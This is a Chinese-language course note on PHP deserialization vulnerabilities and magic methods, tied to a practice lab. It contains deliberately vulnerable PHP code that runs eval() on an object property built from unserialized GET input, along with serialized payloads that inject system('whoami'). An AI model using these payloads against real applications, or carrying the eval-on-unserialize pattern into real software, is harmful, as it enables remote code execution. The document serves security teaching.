Web渗透—PHP反序列化????????课程学习分享(课程非本人制作,仅提供学习分享)
靶场下载地址:GitHub - mcc0624/php_ser_Class: php反序列化靶场课程,基于课程制作的靶场
1)反序列化之后的内容为一个对象
2)反序列化生成的对象里的值,由反序列化里的值提供;与原有类预定义的值无关;
反序列化漏洞的成因:反序列化过程中,unserialize()接收到的值(字符串)可控;
通过更改这个值(字符串),得到所需要的代码,即生成的对象的属性值。
3)反序列化不改变类的成员方法;需要调用方法后才能触发;
通过调用方法,触发代码执行
<?php?
class?test{
public?$a?=?'echo?"this?is?test!!";';
public?function?displayVar()?{
eval($this->a);
}
}
$get?=?$_GET["benben"];? ? ?//benben为对象序列化后的字符串
$b?=?unserialize($get); //$b把字符串$get反序列化为对象,通过更改字符串可改变得到的对象中$a的值
$b->displayVar();????????????????????????//通过调用方法触发可控代码
?>
<?php
class test{
public $a = "system('whoami');";
}
echo serialize(new test);
?>
输出结果:
O:4:"test":1:{s:1:"a";s:17:"system('whoami');";}
回显结果:
调用displayVar(),displayVar()执行eval(),eval()触发代码
一个预定好的,在特定情况下自动触发的行为方法。
反序列化漏洞的成因:
????????反序列化过程中,unserialize()接收的值(字符串)可控;通过更改这个值(字符串),得到所需要的代码;通过调用方法,触发代码执行。
????????魔术方法在特定条件下自动调用相关方法,最终导致触发代码。
触发时机 ——> 功能 ——> 参数 ——> 返回值
触发时机:动作不同,触发的魔术方法也不同
参数:一些特殊魔术方法会传参
1)__construct(),类的构建函数
2)__destruct(),类的析构函数
3)__call(),在对象中调用一个不可用访问方法时调用
4)__callStatic(),用静态方式中调用一个不可用访问方法时调用
5)__get(),获得一个类的成员变量时调用
6)__isset(),当不可访问属性调用isset()或empty()时调用
7)__set(),设置一个类的成员变量时调用
8)__unset(),当对不可访问属性调用unset()时被调用
9)__sleep(),执行serialize()时,先会调用这个函数
10)__wakeup(),执行unserizlize()时,先会调用这个函数
11)__toString(),类被当成字符串时的回应方法
12)__invoke(),调用函数的方法调用一个对象时的回应方法
13)__ser_state(),调用var_export()导出类时,此静态方法被调用
14)__clone(),当对象复制完成时调用
15)__autoload(),尝试加载未定义的类
16)__debugInfo(),打印所需调试信息
构造函数,在实例化一个对象的时候,首先会自动执行一个方法;
<?php
class?User?{
public?$username;
public?function?__construct($username)?{
$this->username?=?$username;
echo?"触发了构造函数1次"?;
}
}
$test?=?new?User("benben");???????? //实例化对象时触发构造函数__construct()
$ser?=?serialize($test);? ? ? ? ? ? //在序列化和反序列化过程中不会触发
unserialize($ser);
?>
触发时机:实例化对象
功能:提前清理不必要内容
参数:非必要
返回值:(无)
析构函数,在对象的所有引用被删除或当对象被显式销毁时执行的魔术方法;
<?php
class?User?{
public?function?__destruct(){
echo?"触发了析构函数1次"."<br?/>"?;
}
}
$test?=?new?User("benben"); ??????????????//实例化对象结束后,代码运行完全会销毁,触发析构函数__destruct()
$ser?=?serialize($test);? ? ? ? ? ? ? ? ? //在序列化过程中不会被触发
unserialize($ser);??????????????????????????????????????//在反序列化过程中会被触发
?>
反序列化得到的是对象,用完后会被销毁,触发析构函数__destruct()
触发时机:对象引用完成,或对象被销毁
功能:(无)
参数:(无)
返回值:(无)
<?php
class User {
var $cmd = "echo 'dazhuang666!!';" ;
public function __destruct()
{
eval ($this->cmd);
}
}
$ser = $_GET["benben"];
unserialize($ser);
?>
反序列化会触发__destruct()
<?php
class User {
var $cmd = "system('whoami');" ;
}
echo serialize(new User);
?>
输出结果:
O:4:"User":1:{s:3:"cmd";s:17:"system('whoami');";}
回显结果:
unserialize()触发__destruct(),destruct执行eval(),eval()触发代码